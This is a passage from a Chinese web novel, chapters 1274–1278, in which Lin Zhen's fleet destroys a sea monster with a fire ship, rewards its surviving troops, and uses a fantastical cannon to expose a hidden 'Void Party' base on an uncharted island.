面对这等神话般的恐怖,会害怕再正常不过。 “夫君,我们……我们真的能赢吗?” 慕容嫣将脸埋进他宽阔温暖的胸膛,声音里带着自己都未察觉的哽咽。 她不是不信他。 她是太怕失去他。 她怕极了昆仑山顶那一幕重演,怕他为了护住所有人,再一次耗尽心神倒在自己面前。 那种眼睁睁看着他生命流逝的无力感,她此生再也不想经历第二次。 “傻丫头。” 林臻感受到了她的恐惧,心头涌起巨大的疼惜与愧疚。 他伸出手,轻轻拍着她的后背用全世界最坚定,也最温柔的声音在她耳边说道。 “相信我。” “我答应过你要陪你君临天下,要看着我们的孩子长大。” “我林臻,什么时候食过言?” 这句话,充满了霸道与担当。 它是一道光,将慕容嫣心中所有的阴霾与恐惧,瞬间击得粉碎。 她抬起头那双被泪水模糊的美丽凤眸,痴痴地看着他仿佛永远也看不够。 “嗯!” 她重重点头,然后主动踮起脚尖,在他的唇上印下一个滚烫的充满了全部信任与爱意的吻。 她知道,自己什么都不需要做。 只需要安安静静地待在这个男人身边,看他如何再一次将这必死的绝境逆转为载入史册的辉煌! …… 一个时辰后。 一切,就绪。 一艘装满了鲸油、烈酒和无数火药的补给船,成了一座会移动的巨型火药桶,静静停在“黑珍珠号”身旁。 数十根比成人手臂还粗的巨大铁索,将这艘“炼狱之船”与“黑珍珠号”牢牢相连。 所有准备,都在伸手不见五指的浓雾中悄然完成。 “王爷殿下,都已准备就绪!” 伊丽莎白的声音从黄铜传声筒里传来,压抑不住的疯狂与兴奋让她的声音都变了调。 “很好。” 林臻的脸上,勾起一抹冰冷属于猎人的笑意。 他转头,看了一眼窗外那片依旧翻涌不休的漆黑海面。 “鱼儿,该上钩了。” 他抬起手。 然后,重重挥下! “点火!” “开船!” 林臻一声令下,为深海神话量身打造的死亡盛宴开席! “点火。” 鬼影的声音在“炼狱之船”的船舱里响起,没有情绪,只有执行。 夜枭的死士们将火把凑近浸满火油的引线。 嗤——! 一条火蛇贴着地面游走,瞬间照亮了船舱内堆积如山的火药桶,也照亮了死士们毫无波澜的脸。 “撤。” 鬼影低喝。 一道道黑影顺着绳索荡出如夜枭归林,悄无声息地融入“黑珍珠号”的甲板阴影。 几乎同一瞬间,伊丽莎白布满血丝的双眼死盯前方,对着传声筒吼出嘶哑的咆哮。 “开船!全速!把那个火药桶给老娘拖进地狱里去!” 第1274章 深海巨兽的末日 “喔——!” 压抑许久的海盗们爆发出嗜血的狂嚎。 锋利的斧头斩断锚索,巨幅的黑帆迎着狂风瞬间撑满,发出沉闷的雷爆! “黑珍珠号”这头沉睡的钢铁巨兽,挣脱了所有枷锁爆发出惊人的速度。 它身后,那艘燃烧着死亡倒计时的“炼狱之船”被铁索拖拽,一同向着无尽的黑暗与未知发起亡命冲锋! 船身在巨浪中疯狂颠簸,每一次起落都让龙骨发出濒死的呻吟。 慕容嫣死死抓着林臻的胳膊,指节已然发白。 她的心跳擂鼓,耳边只剩下风暴般的呼啸。 这不是恐惧,而是一种混杂着恐惧的极致兴奋,一种将命运押上赌桌的战栗! 她全身的血液似乎都在这一刻被点燃了。 深渊之下,那头恐怖的巨兽显然被这群蝼蚁的疯狂举动彻底激怒。 在它的认知里恐惧本该让这些生物跪地求饶,而不是发起这种自杀式的冲锋。 这是挑衅! 是对它这位海洋绝对主宰的无上尊严,最赤裸的挑衅! “吼——!!!” 一声饱含无尽怒火的咆哮自海底炸开,音波化为实质的冲击让整片海域都为之沸腾! 一道道漆黑的水墙冲天而起! 紧接着,一个庞大到超越想象的阴影,从深不见底的漩涡中心缓缓上浮。 它的本体,终于现世! 那是一颗山峦般的头颅,布满了丑陋的褶皱与疙瘩,光是浮出水面就排开了万吨海水。 头颅之上,两颗幽绿色的巨眼亮起,每一颗都比船上的主桅灯笼更大,死死锁定了亡命奔逃的“黑珍珠号”。 那眼神里没有情绪,只有纯粹、冰冷的杀意。 头颅之下,是数以百计、千计的暗红色触手,如同一片蠕动的死亡森林,在海面狂舞掀起滔天巨浪,轻易便能将钢铁战舰撕成碎片。 “我的……神……” 伊丽莎白透过单筒望远镜,看清那怪物的全貌时,大脑一片空白。 灵魂在战栗。 她纵横四海,屠戮过的海怪能堆成小山,可那些东西在这头真正的神话生物面前不过是池塘里的小鱼。 这不是凡人能对抗的力量。 这是行走在人间的灾祸! 就在所有人被这神祇般的恐怖夺去心神之际。 林臻冰冷决绝的声音,如一把尖刀刺入每个人的耳膜。 “就是现在!” “斩断铁索!” “全速转向!” “开炮!” 伊丽莎白一个激灵,从极致的恐惧中被强行拽回现实! 成败,生死,就在此一瞬! “砍断铁索!” 她对着传声筒,用尽全身力气嘶吼。 船尾,数十名最精锐的海盗早已待命,他们挥舞重斧狠狠劈向连接着“炼狱之船”的粗大铁索! 铛!铛!铛! 刺目的火花在黑暗中炸开! 数十根成人大腿粗的铁索,应声而断! 脱缰的“炼狱之船”在恐怖的惯性下,化作一颗失控的炮弹以无可阻挡的姿态,笔直撞向那刚刚完全浮出水面正欲发威的深海巨兽! 巨兽那巨大的幽绿瞳孔中,第一次倒映出那艘燃烧着死亡之火的小船。 它的眼神,出现了一丝极其人性化的……错愕。 它本能地挥舞起数十根触手,想将这只烦人的苍蝇拍碎。 然而,太晚了。 轰——!!!!!! 没有语言能够形容这一声巨响。 天地在这一刻失去了声音。 大海在这一刻失去了颜色。 一轮橘红色的太阳,在海面上冉冉升起璀璨炽热,随后化作一朵吞噬天地的巨大蘑菇云。 恐怖的冲击波呈圆形扩散,瞬间将方圆数海里的一切彻底吞没! 海水被蒸发! 浓雾被驱散! 那头山峦般的深海巨兽,那颗自以为坚不可摧的头颅,在这场足以毁灭一支舰队的爆炸核心,被硬生生撕开一个血肉模糊的巨型窟窿! 绿色的、散发着剧烈恶臭的血液,如山洪决堤疯狂喷涌! 一瞬间,整片海域都被染成了诡异的荧光绿! “吼——!!!” 巨兽发出了凄厉、痛苦、绝望到极点的垂死悲鸣! 它那上千根触手在海面上疯狂抽搐、乱舞,掀起的巨浪将数艘来不及逃离的东印度公司商船,轻易砸成了漫天木屑! 场面血腥,而又壮丽! “开炮!给老娘把它打烂!!” 伊丽莎白看着那头垂死挣扎的巨兽,美艳的脸上满是病态的疯狂与嗜血。 痛打落水狗的机会,来了! 轰!轰!轰! 早已调转船头、瞄准多时的数百门重炮,同时发出怒吼! 无数烧得赤红的实心铁球,拖着死亡的焰尾,组成一道钢铁风暴,精准地灌入巨兽那颗早已血肉模糊的巨大头颅! 噗!噗!噗! 炮弹没入柔软大脑组织的声音,沉闷而又致命。 每一颗,都带起一蓬腥臭的绿色血雨! 本就强弩之末的巨兽,在承受了这毁灭性的二次打击后,疯狂舞动的触手终于缓缓慢了下来。 那两颗幽绿色的巨眼,神采迅速黯淡。 最终,它山峦般的庞大身躯,在发出一声充满了不甘与绝望的最后悲鸣后,开始缓缓地沉入那片被自己血液染绿的冰冷深渊。 一代海洋霸主,传说中的神话。 就此,陨落。 巨兽的悲鸣归于沉寂。 那遮天蔽日的诡异黑雾,仿佛失去了力量的源头,被阳光刺穿如退潮般迅速消散。 碧空如洗,海面倒映着湛蓝。 只有那片被染成诡异荧光绿,漂浮着无数船只残骸与血肉碎块的海域,无声诉说着方才的惨烈。 死寂。 短暂的死寂之后,是火山喷发般的狂欢。 “赢了!我们赢了——!” “王爷万岁!我们把神给宰了!!” 甲板上,无论是大乾的将士还是伊丽莎白的海盗,都疯了一样地抛下武器,不分彼此地紧紧拥抱,用最原始的嘶吼宣泄着压抑在胸腔的恐惧与狂喜。 无数人跪倒在地,朝着船头那个身姿挺拔如松的男人,献上最狂热的叩拜。 他们的眼神里,不再是敬畏而是近乎疯魔的崇拜。 神? 不,那个男人比神更值得信赖! 船长室里,伊丽莎白死死撑着巨大的航海图桌,才没有让自己瘫倒下去。 她指节发白胸口剧烈起伏,那件华丽的船长制服被汗水浸透,紧紧贴着她惊心动魄的身体曲线。 她透过玻璃窗,死死盯着林臻的背影,脑海中反复回放着那轮海上太阳升起的画面。 用一艘补给船做诱饵,用最原始的火药和鲸油做武器,以凡人之躯策划了一场屠神的盛宴。 这个东方男人……他的大脑究竟是用什么构造的? 第1275章 惨胜后的航向 他不是行走在人间的神。 他是制定规则,甚至能将神明都玩弄于股掌之上的……怪物! 慕容嫣没有欢呼,她只是悄无声息地从后面环住了林臻的腰,将自己的脸颊紧紧贴在他宽阔坚实的后背上。 她能清晰地感觉到,他看似平静的身体下,那颗心脏依旧在擂鼓般狂跳,肌肉也带着一丝战斗后的细微痉挛。 这场豪赌,他赢得并不像表面上那么云淡风轻。 她什么也没说,只是将他抱得更紧。 阳光洒在她身上,那件玄黑色的神凤降世裙,此刻终于敛去了所有杀气与警惕,真金绣成的巨凤凤目低垂,仿佛也沉浸在这劫后余生的宁静中。 长达五丈的墨金色拖尾,安静地铺在被鲜血与海水浸泡过的甲板上,被阳光一晒,竟有种说不出的温暖与眷恋。 “夫君,我们回家吧。” 她的声音带着浓重的鼻音,充满了疲惫与后怕。 她不怕征服世界的艰难,却怕极了再次品尝失去他的滋味。 她只想回到长安回到他们的家,感受腹中新生命的跳动。 林臻缓缓转身,用指腹轻轻摩挲着她苍白冰凉的脸颊,深邃的眼底满是心疼与愧疚。 他能感觉到,她环抱着自己的手臂,仍在无法抑制地颤抖。 “嫣儿,现在还不能回……”他的声音因刚才的嘶吼而沙哑。 话音未落,岳飞沉重的脚步声传来。 他没有看任何人,径直走到林臻面前,躬身行礼,声音艰涩如铁。 “王爷,陛下……战损,出来了。” 仅仅五个字,就让甲板上逐渐蔓延的欢呼声,诡异地停滞了。 所有人的笑容都僵在了脸上。 “说。”林臻的脸色沉静如水。 “此役,我联合舰队三百八十艘战船,沉没、重损一百二十七艘!” “神机营将士,阵亡三千一百四十二人!” “伊丽莎白女王麾下水手,伤亡近五千!” “旗舰‘黑珍珠号’,龙骨出现严重裂痕,已无法支撑远航……” 岳飞每报出一个数字,众人的脸色就苍白一分。 一百二十多艘战船!近万名最精锐的战士! 这几乎是整支舰队三分之一的战力! 仅仅一头怪物,就让他们付出了如此恐怖的代价。 那制造出这头怪物的东印度公司,那个神秘的“虚无党”,又该是何等存在? 刚刚还炙热的狂喜,瞬间化为刺骨的冰寒。 这不是胜利。 这是惨胜。 伊丽莎白听着那些数字身体晃了晃,刚刚恢复的一丝血色褪得干干净净。 她知道岳飞没说错。 现在的他们,是一支连骨架都快散了的残兵。 别说复仇,随便一支成规模的舰队,都能将他们撕碎吞下。 “王爷殿下……”她望向林臻,声音里是无法掩饰的绝望,“我们……现在怎么办?” 所有人的目光,再一次汇聚到林臻身上。 这个男人,是他们唯一的希望。 林臻没有回答,他只是静静地看着那片狼藉的海面,眼神幽深仿佛在计算着什么。 许久,他才缓缓开口声音不大,却清晰地传入每个人耳中。 “传令。” “舰队转向,目标正东三百海里。” 伊丽莎白猛地一怔,冲到航海图前,手指在那片海域上疯狂搜寻。 空白。 那片海域,在她的海图上,是一片彻头彻尾的空白! “王爷……那里什么都没有!是一片未知之海!”她困惑地喊道。 “谁说那里什么都没有?” 林臻的嘴角,勾起一抹冰冷而又自信的弧度。 那不是狐狸的狡猾,而是猎人锁定终极猎物的眼神。 “那里,有我们这次南洋之行真正的‘惊喜’。” 他顿了顿,环视着一张张或茫然或绝望,或期盼的脸一字一句声音如重锤敲在所有人的心上。 “一个,足以让我们这支残兵败将,在最短时间内脱胎换骨卷土重来的……” “——神之宝库!” 神之宝库? 伊丽莎白和岳飞对视一眼,彼此的眼神里都写满了惊疑。 这片在海图上完全空白的未知之海,除了死亡和风暴还能有什么? 难道王爷口中的宝库,是指刚才那头沉入深海的巨兽尸体? 那东西确实浑身是宝,可他们这支连骨头都快散架的舰队,能不能撑到三百海里外,都是一个巨大的未知数。 “王爷,此举……是否过于冒险?” 岳飞向前一步,声音艰涩。 作为三军统帅,他必须为所有将士的性命负责。 此刻最稳妥的选择是返回大乾,或是寻找最近的港口休整。 深入一片完全未知的海域,无异于寻死。 林臻没有解释。 他只是摆了摆手,目光扫过岳飞平静地打断了他。 “执行命令。” 他的声音不大,却有一种斩断一切犹疑的重量。 岳飞心头剧震,所有劝谏的话语都堵死在喉咙里,再也说不出一个字。 他低下头,躬身领命。 “是!” 伊丽莎白看着林臻那张永远自信的侧脸,张了张嘴最终选择沉默。 这个男人做出的决定,无人能够更改。 她能做的或者说唯一能做的,就是再一次选择相信他。 相信他能将这绝无可能的死局,扭转为又一个奇迹。 …… 残破的舰队转向,像一群拖着伤残身躯的孤狼,驶向那片充满未知的东方。 航行,是绝望的交响。 “黑珍珠号”的呻吟从未停止,龙骨的裂痕每一次都在巨浪中发出令人牙酸的悲鸣。 桅杆断裂船帆破碎,船身上布满了狰狞的伤口。 比船体创伤更致命的,是人心的崩溃。 死亡的阴影,盘踞在每个人的心头。 甲板上,死寂取代了嘶吼。 士兵们默默地擦拭着带血的兵刃,眼神空洞动作机械。 他们不知道要去哪里。 更不知道等待自己的,是怎样的命运。 恐慌与迷茫是无声的瘟疫,在舰队中疯狂蔓延。 就在这支舰队即将被绝望彻底吞噬之际。 他们的王爷与皇后,出现了。 林臻与慕容嫣走出了船长室,踏上了这片狼藉的甲板。 没有慷慨激昂的演说。 林臻只是挥了挥手。 一箱又一箱从倭国掠夺的金银财宝,被抬了出来。 箱子被打开。 刺目的银光,瞬间点燃了所有人的瞳孔! 林臻站在那座银山之前,环视着一张张麻木、疲惫的脸,声音穿透海风清晰地砸进每个人的耳朵里。 “传令!” “此役阵亡将士家属抚恤,白银一千两!” “其子嗣,入大乾皇家军事学院!” “此役重伤者,赏白银五百两!伤愈后官升一级!” “幸存者无论职位,每人赏白银一百两!” “现在,发放!” 轰! 死寂被撕裂。 第1276章 寻觅未知的港湾 一个老兵的手剧烈颤抖,连刀都握不住,哐当一声掉在甲板上。 “一千两……俺婆娘和娃……这辈子都够了……”一个壮汉喃喃自语,说着说着滚烫的眼泪就控制不住地奔涌而出。 “一百两!老子活下来就有一百两!哈哈哈!” 短暂的死寂之后,是火山喷发般的狂吼! 要知道,他们在大乾当兵,一月军饷不过二两! 这从天而降的巨赏,足以让任何一个贫苦的家庭,彻底脱胎换骨! 绝望的死气被一扫而空,取而代之的是一种近乎癫狂的狂热! 他们看向那个站在银山前,神情淡漠的年轻王爷,眼神里只剩下最原始、最疯魔的崇拜! 就在此时,一直静立在林臻身侧的慕容嫣,缓缓上前一步。 她今日依旧穿着那身玄黑色的神凤降世裙。 极致的黑,与耀眼的白银,形成了最强烈的视觉冲击。 所有人的目光,都被她吸引。 她没有看那些金银,凤眸扫过一张张因狂喜而扭曲的脸,清冷而威严的声音响起。 “本宫在此立誓。” “所有为大乾捐躯的英烈,其名将以金字篆刻于长安英雄碑上,受万世敬仰!” 如果说,林臻的赏赐点燃了他们对财富的欲望。 那么,慕容嫣的承诺,则彻底击中了他们内心最深处的荣耀! 封妻荫子,光宗耀祖! 这一刻,所有将士心中的悲伤与恐惧被烧得一干二净! 他们知道,跟着这样的王爷与陛下,别说区区东印度公司,就是让他们去捅破天他们也敢冲! 在“钞能力”与“荣誉感”的双重刺激下,残破的舰队奇迹般地焕发了新生。 修补船帆,加固船身,处理伤员。 一切,井然有序。 第三日清晨。 当第一缕阳光刺破海雾。 瞭望手嘶哑而又狂喜的吼声,响彻天际。 “陆地——!!是陆地——!!!” 一座不属于凡尘的仙境之岛,破开晨雾撞入所有人的视野。 整座岛屿,被苍翠的原始森林完全覆盖,充满了蛮荒的生命力。 岛屿中央,一座高耸入云的活火山,正向天空吐出袅袅的白色烟柱。 千百条瀑布自悬崖垂落,是撕裂苍翠山体的银色裂痕。 山脚下的湖泊,是嵌入大地的巨大蓝宝石清澈见底。 环绕岛屿的,是珍珠般洁白的细软沙滩,构成了最完美的天然港湾。 宁静,祥和,又带着一丝神秘。 这里不是凡尘俗世。 这是一片与世隔绝的世外桃源。 “我的上帝……” 伊丽莎白死死抓着船舷,指节因过度用力而发白。 她看着眼前这座比加勒比海任何岛屿都更梦幻的仙境,蓝色的眼眸里是无法言喻的震撼。 她猛地回头,看向海图室。 那片海域,在她的海图上是一片空白! 这意味着,这座岛屿是她这位“加勒比海女王”,从未踏足过的处女地! 伊丽莎白再次转头,目光死死地锁定在不远处那个男人的背影上。 他,是怎么知道这里的? 难道……他真的拥有一双,能洞悉未来的眼睛? 舰队驶入白沙环抱的天然港湾。 海水澄澈,暖风裹挟着花果的芬芳,拂过每一个饱经风霜的士兵的脸颊。 这里不似荒岛,更像一处能洗涤灵魂与硝烟的天堂。 “传令,舰队在此停泊休整!” 林臻的声音,精准地切开了这份宁静。 “岳飞,带人上岸勘探地形,寻觅水源构筑营地与哨岗!” “伊丽莎白,清点所有受损船只,组织人手全面检修!” “鬼影,你的人负责内部警戒与物资看管,任何意外我都不想看到!” “是!” 命令如水银泻地,庞大的舰队再次化作一台精密的战争机器高效运转。 数万将士分批登岛。 他们伐木立帐,猎鱼寻食,或是在清澈的湖中洗去数月的血污与疲惫。 整座岛屿因他们的到来喧闹起来,充满了劫后余生的鲜活气息。 然而,在这片勃勃生机之下,某种违和感挥之不去。 唯有慕容嫣,心头萦绕着一缕不安。 太安静了。 这座岛屿,安静得令人窒息。 除了他们自己的声音,再无其他活物的声息。 没有鸟鸣没有兽吼,甚至连最寻常的虫豸嘶鸣都付之阙如。 这片生机勃勃的绿,内里却是一片死寂。 似乎有某个更恐怖的存在,在他们登岛前,就已将这里清场。 她将这份疑虑,低声告知了林臻。 林臻听完,那张总是智珠在握的脸上,难得地掠过一抹凝重。 他早已察觉到这份诡异,却未点破只为稳住军心。 “嫣儿,别担心。”他将她揽入怀中,声音低沉而温和,“或许是我们动静太大,吓跑了岛上的小东西。” “但愿如此。” 慕容嫣靠在他怀里,清楚这只是安慰之语,却仍选择相信。 入夜。 临时营地里篝火升腾,人声鼎沸。 将士们围着火焰,大口啃着烤肉痛饮烈酒,唾沫横飞地吹嘘着白天的发现。 “西边林子里那棵树,比咱们旗舰主桅都粗!结的果子比脑袋大,甜得粘牙!” “北边湖里钓上来的金鳞大鱼,足有我一人长!那鳞片亮得跟金子似的!” “这岛就是个宝地!要不是王爷有令不准乱跑,我非得去那火山上瞧瞧,说不定能捡着宝石!” 听着这些兴奋的议论,林臻与慕容嫣相视一笑。 无论这岛屿深处藏着什么。 至少此刻,它让这些死里逃生的将士,重拾了久违的快乐。 然而,欢乐的气氛在顶点时,被一阵急促到变调的脚步声狠狠撕碎! “王……王爷!不好了!” 一名外围哨兵冲进营地,他没有连滚带爬,步伐却因极度的恐惧而散乱,脸上血色尽褪只剩下纯粹的骇然! “出事了!” “西……西侧,三号哨塔!” “出事了!” 嗡! 此言一出,所有喧哗戛然而止。 欢笑的将士们动作僵住,神情凝固。 前一刻还热火朝天的营地,瞬间针落可闻。 “慌什么!” 岳飞如一头被惊醒的猛虎,霍然起身,一把攥住那哨兵的衣领,声如炸雷。 “说清楚,发生了何事!” “我……我不知……”哨兵的声音因恐惧而颤抖,“半个时辰前,三号哨塔一切如常。” “可……可就在刚才,我用望远镜看过去……哨塔上……人……全都不见了!” “不见了?!” 岳飞的瞳孔骤然收缩! 三号哨塔,是他亲手布置在防御圈最西侧的眼线,驻守着十名神机营最精锐的老兵! 十个百战老兵,怎么可能无声无息地集体失踪?! “你确定?!”岳飞的眼神变得凌厉。 “千真万确!”哨兵被那股杀气压得几乎窒息,“我反复确认了数遍!哨塔上空无一人!而且……而且那里的篝火……也熄了……” 篝火也熄了? 岳飞的心,直直沉了下去。 出大事了。 “来人!”他猛然转身,声音淬满冰冷的杀意,“集合一队,随我去三号哨塔!” “等等。” 一个平静的声音响起。 林臻缓缓站起身。 他没有看任何人。 他的目光越过跳动的篝火,投向远处那片被夜色吞噬的黑暗丛林。 那眼神里没有半分惊慌,只有猎人终于等到猎物踏入陷阱的,冰冷与笃定。 “不必去了。” 他淡淡开口。 “他们……已经来了。” 第1277章 虚无党的遗迹 林臻的话音刚落。 营地西侧那片墨汁般浓稠的森林里,响起一阵细碎的刮擦声。 沙沙……沙沙…… 那声音很轻,像是枯叶被风吹过,又像是无数条毒蛇在草丛中无声地滑行。 声音不大,却像一根冰冷的钢针,精准地刺入营地中每一个人的耳膜。 前一刻还热火朝天的喧嚣瞬间死寂。 一种源自本能的、被顶级掠食者盯上的恶寒,顺着所有人的脊椎骨疯狂上窜! 他们手中的兵刃被下意识攥紧关节发白,死死盯着那片能吞噬一切光线的黑暗森林。 “全员!戒备!” 岳飞的爆喝如惊雷炸响,他魁梧的身躯瞬间绷紧如一张满弓,手已按在刀柄上,眼神锐利如鹰。 “神机营,结圆阵!” “弓弩手上弦!” 令行禁止! 早已被血与火淬炼成钢铁之师的大乾将士,在命令下达的瞬间便完成了战阵切换。 外圈刀盾如林长枪如墙,组成一道密不透风的钢铁防线。 内圈,数百名神机营铳手举起了燧发枪,黑洞洞的枪口直指黑暗,引弓待发的弓箭手箭在弦上杀气凛然。 短短数十息欢声笑语的营地,化作一头獠牙毕露的钢铁凶兽! 然而,预想中的冲击并未到来。 那片森林依旧死寂,仿佛刚刚那阵令人毛骨悚然的“沙沙”声,只是众人集体产生的幻觉。 这种未知的、被窥伺的感觉,比千军万马的正面冲锋更让人窒息。 “王爷……”岳飞走到林臻身侧声音压得极低,虎目中满是警惕与困惑,“这是何方神圣?” 他想不通。 怎样的敌人,会选择这种诡异的战术?不进攻,不现身,只是在黑暗中释放着无形的压力。 “一群有耐心的猎手。” 林臻的声音平静得没有一丝波澜,他甚至没有看向那片森林仿佛一切尽在掌握。 他转过头,目光落在海盗女王伊丽莎白身上。 这位女王同样神情凝重,但那双蓝宝石般的眸子里,却跳动着属于海盗的、嗜血的兴奋火焰。 “伊丽莎白。” “在,王爷殿下!”伊丽莎白立刻应声战意高昂。 “你不是总嫌我们大乾的火炮不够劲吗?”林臻嘴角勾起一抹玩味的笑意。 伊丽莎白微微一愣,随即绝美的脸颊泛起一丝红晕。 她确实觉得大乾的红衣大炮只是听个响,和西方海军那些能撕裂战列舰的三十六磅巨炮相比,不过是孩子的玩具。 “很好。”林臻脸上的笑意变得有些恶劣,“今天,本王让你见识一下什么叫‘毁灭的艺术’。” 他朝一旁的鬼影偏了偏头。 “把本王为他们准备的‘大礼’抬上来。” “是。” 鬼影领命而去。 很快,十几名夜枭死士迈着沉重如山的步伐,抬着一个被巨大黑布笼罩的、轮廓狰狞的圆筒状物体走到了营地中央。 当那块厚重的黑布被鬼影一把扯下! 在场的所有人,包括身经百战的岳飞和见惯了海上巨炮的伊丽莎白,呼吸都在这一刻被夺走了。 傻了。 彻彻底底地傻眼了。 那是什么东西?! 那是一门炮吗?不,那简直是一头匍匐在地的,来自地狱的钢铁巨兽! 它通体漆黑,炮身表面铭刻着无数繁复玄奥的金色纹路,在火光下流淌着不属于这个世界的光泽。 那炮口黑得深不见底,比一个成年壮汉的腰身还要粗壮,像一张足以吞噬日月的深渊巨口。 仅仅是看着它,一股源自灵魂深处的渺小感与臣服感便油然而生。 所有人都毫不怀疑,这东西一旦怒吼,能把远处那座火山都从岛上抹去! “我的……上帝啊……” 伊丽莎白死死捂住自己的嘴,那双蓝色的眼眸因为极致的震撼与狂热而剧烈收缩,身体因激动而微微颤抖。 她快要窒息了! 这……这才叫炮! 这才是真正的,属于王者的,终极的浪漫! “王……王爷殿下……”她的声音因过度激动而破碎、嘶哑,“它……它叫什么名字?” “它没有名字。” 林臻淡淡开口,缓缓走到那门巨炮旁伸出手,轻柔地抚摸着冰冷而又充满力量感的炮身,动作温柔得像是在抚摸自己的情人。 “因为它,不属于这个世界。” 这门炮,是他南洋之行唯一也是最终的底牌。 是他穷尽超越这个时代的知识,在工部最深处的秘密工坊里,耗费了无法想象的资源与心血,亲手锻造出的禁忌造物! “不过……” 林臻话锋一转,深邃的眼眸中闪过一抹冰冷刺骨的杀意。 “如果非要给它一个名字……” 他转动炮身,那足以吞噬一切的恐怖炮口,缓缓对准了远处那片死寂的黑暗森林。 “那就叫它……” “——末日审判。” 林臻的声音不带一丝感情,冰冷的指令从他口中吐出。 “坐标正西三点钟方向,距离五公里。” “目标,地底三百米。” “能源,百分之五十。” “开火。” 命令落下的瞬间! 嗡——! 那门沉寂的钢铁巨兽仿佛活了过来,炮身上的无数金色符文骤然爆发出璀璨的光芒! 一股无法形容的、足以让空间都发生扭曲的恐怖能量开始在炮口汇聚,发出令人牙酸的嗡鸣! 刺目的蓝色电光疯狂压缩,凝聚成一个毁灭的光点! 整座岛屿,都在这股力量下剧烈颤抖! 然后。 “轰——!!!” 没有声音。 或者说,那已经超越了声音的范畴。 一道粗壮到无法想象的蓝色光柱,以一种撕裂视觉、超越思维的恐怖速度,瞬间贯穿了死寂的夜空! 它像一道来自神话的灭世神罚,精准无比地轰入了那片在所有人看来都空无一物的森林深处! 没有爆炸。 没有火光。 那道死亡光柱在接触地面的瞬间,便无声无息地融入了大地,仿佛被海绵吸收的水滴,什么都没有发生。 就在众人困惑之际。 异变,陡生! 以光柱落点为中心,方圆数公里的地面,如同沸腾的水面一般,开始剧烈地、波浪般地起伏、翻涌! 紧接着! “——轰隆隆!!!” 一声比深海巨兽的哀鸣还要沉闷、还要令人心悸亿万倍的恐怖巨响,从地心深处轰然传来! 整座岛屿都在这一刻疯狂摇晃,仿佛下一秒就要分崩离析! 就在这时! 那片被光柱击中的森林地面,毫无征兆地向内塌陷了下去! 一个直径超过数百米,深不见底的恐怖天坑骤然成型! 无数参天古树、巨岩、泥土,都在一股来自地底的恐怖吸力下,被毫不留情地吞噬进去! 烟尘滚滚。 随着天坑的出现。 一座由不知名的银白色金属构成,充满了未来与科幻质感的巨大建筑群轮廓,在那深渊巨坑的底部,缓缓暴露在所有人震撼到麻木的视线之中! 那,赫然是一座隐藏在地底深处,属于神秘“虚无党”的…… 秘密基地! 第1278章 解读天外魔文 眼前这一幕,超越了神迹。 它是一场寂静无声的审判。 营地内,所有人都化作了石雕,张着嘴,瞪着眼,脑海中被那贯穿天地的蓝色光柱洗刷得一片空白。 他们看着远处那个巨大到不合常理的深渊天坑,再看看坑底那隐约露出的、闪烁着金属冷光的未来建筑轮廓。 世界观? 不,那东西在刚刚那一炮下,连灰都不剩了。 一炮。 只是一炮,就将一座藏在地底数百米深的钢铁城市,像挖萝卜一样给活生生刨了出来。 这不是凡人的力量。 这是开天辟地,是移山填海,是神话传说里才敢描绘的创世伟力! “我的……神……” 伊丽莎白双腿一软,若非身旁的岳飞下意识伸手扶住,她已瘫软在地。 她那双总是燃烧着野心与征服欲的蓝色眼眸,此刻只剩下一种被彻底碾碎后的敬畏与恐惧。 她死死地盯着那个站在巨炮旁,负手而立的男人。 夜风吹动他的衣袂,从容得仿佛刚才那一击,对他而言真的只是弹了弹烟灰。 渺小。 伊丽莎白第一次发自灵魂地,感受到了这个词的重量。 她曾以为自己足够了解他,一个更聪明、更狡猾、手段更狠的东方枭雄。 现在她才明白,自己错得多么可笑。 他根本不是凡人赛道上的枭雄。 他,是一个披着人皮的神! 一个他们这些挣扎在尘世间的凡人,永远无法理解,更无法战胜的,更高维度的存在! 岳飞的心头,同样卷起了万丈狂澜。 他早就对自家王爷的神鬼莫测有所准备,但眼前这堪称神罚的景象,依旧击碎了他的所有想象。 但他看到的,不止是神力。 作为大乾的战神,他瞬间意识到这门“末日审判”在军事上的恐怖意义! 有了此物,天下任何坚城都形同虚设! 什么奥斯曼,什么东印度公司,什么虚无党…… 在他们这位已然超凡入圣的王爷面前,皆为土鸡瓦狗弹指可灭! 大乾君临世界,只是时间问题! 能追随这样一位旷古烁今的“神君”征战四方,是他岳飞此生最大的幸事! 相比于他们的震撼,慕容嫣的心中只剩下满溢的骄傲与自豪。 这就是她的男人。 总能在最绝望的时刻,创造出最不可思议的奇迹。 一个能为她,为他们的孩子,撑起整片天空的男人! 她走到林臻身边自然地挽住他的胳膊,将头轻轻靠在他的肩上。 她今日依旧穿着那身神凤降世裙,极致的玄黑裙摆,在远处天坑底部透出的银白光芒映衬下,仿佛一片深邃的星空。那长达五丈的墨金色苏锦拖尾,在夜风的吹拂下轻轻地飘动着,像一条流淌在星河之中的黑色天河充满了无尽的神秘与威严。 裙摆上那只用真金线绣成的擎天巨凤目流光,与它的主人一样睥睨着这个刚刚被“神罚”洗礼过的世界。 “夫君,你早就知道他们藏在这里?”她轻声问,声音里满是好奇。 “嗯。”林臻点头语气平静,“从登岛的那一刻起我就感觉到了。” “这座岛的‘呼吸’不对劲。” “空气里,有一种很微弱,但很独特的能量在嗡鸣,和伊丽莎白手腕上那颗‘虚无之石’,是同一种味道。” “所以我断定,岛上有他们的老鼠洞。” “只是没想到,这洞挖得还挺深。” 林臻的声音很淡,仿佛在说一件微不足道的小事。 但听在周围人的耳朵里,却不亚于又一道惊雷。 能“感觉”到能量? 王爷他……到底还隐藏了多少秘密? 众人还未从震惊中回过神来。 远处那巨大的天坑底部,突然亮起一片片刺眼的红色警报灯! 紧接着,一阵阵急促刺耳的警报声从地底深处传出,响彻夜空! “敌袭!敌袭!” “A区反应堆护盾受损70%!” “B区生态循环系统崩溃!” “C区兵营被完全摧毁!” “请求支援!请求支援!” 一阵阵充满惊慌与恐惧的、用一种完全陌生的语言发出的呼喊,通过扩音装置绝望地回荡着。 听不懂内容但那凄厉的语调,是任何生灵都能理解的末日哀嚎。 “看来我们的‘老朋友’日子不太好过。”林臻听着警报嘴角勾起一抹冰冷的弧度。 “岳飞!” “末将在!” “带人下去‘迎接’一下我们的客人。”林臻下达指令,声音里不带一丝情感“记住,本王要活的。” “是!” 岳飞领命,点齐五百名最精锐的神机营将士,如一股黑色的死亡洪流顺着天坑陡峭的斜坡,直扑那座暴露出的地下基地。 一场发生在未来科幻地堡中的遭遇战,就此打响! …… 半个时辰后。 战斗结束了。 过程,比想象中更轻松。 